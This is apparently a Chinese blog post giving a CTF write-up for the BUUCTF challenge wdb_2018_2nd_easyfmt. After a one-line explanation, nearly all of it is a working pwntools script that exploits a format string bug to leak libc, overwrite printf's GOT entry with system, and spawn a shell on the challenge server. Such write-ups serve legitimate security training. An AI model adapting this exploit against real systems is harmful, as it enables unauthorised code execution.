wdb_2018_2nd_easyfmt

最新推荐文章于 2024-04-09 14:41:37 发布

z1r0.

最新推荐文章于 2024-04-09 14:41:37 发布

阅读量684

点赞数

分类专栏： buuctf 题目文章标签： fmt溢出 puts_got libc system调用 format string attack

本文链接：https://blog.csdn.net/zzq487782568/article/details/122246746

版权

buuctf 题目专栏收录该内容

164 篇文章 4 订阅

订阅专栏

wdb_2018_2nd_easyfmt

查看保护
请添加图片描述

fmt，偏移为6，直接泄露puts_got，拿到libc。改printf为system即可。

from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 26279)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

offest = 6

puts_got = elf.got['puts']
printf_got = elf.got['printf']

'''
p1 = '%35$p'
r.sendline(p1)
r.recvuntil('0x')
libc_start = int(r.recv(8), 16) - 262
success('libc_start = ' + hex(libc_start))
'''

p1 = p32(puts_got) + b'%6$s'
r.sendline(p1)

puts_addr = u32(r.recvuntil("\xf7")[-4:])
success('puts_addr = ' + hex(puts_addr))

libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']

system_addr = libc_base + libc.sym['system']

p2 = fmtstr_payload(offest, {printf_got : system_addr})
r.sendline(p2)

r.sendline('/bin/sh\x00')
r.interactive()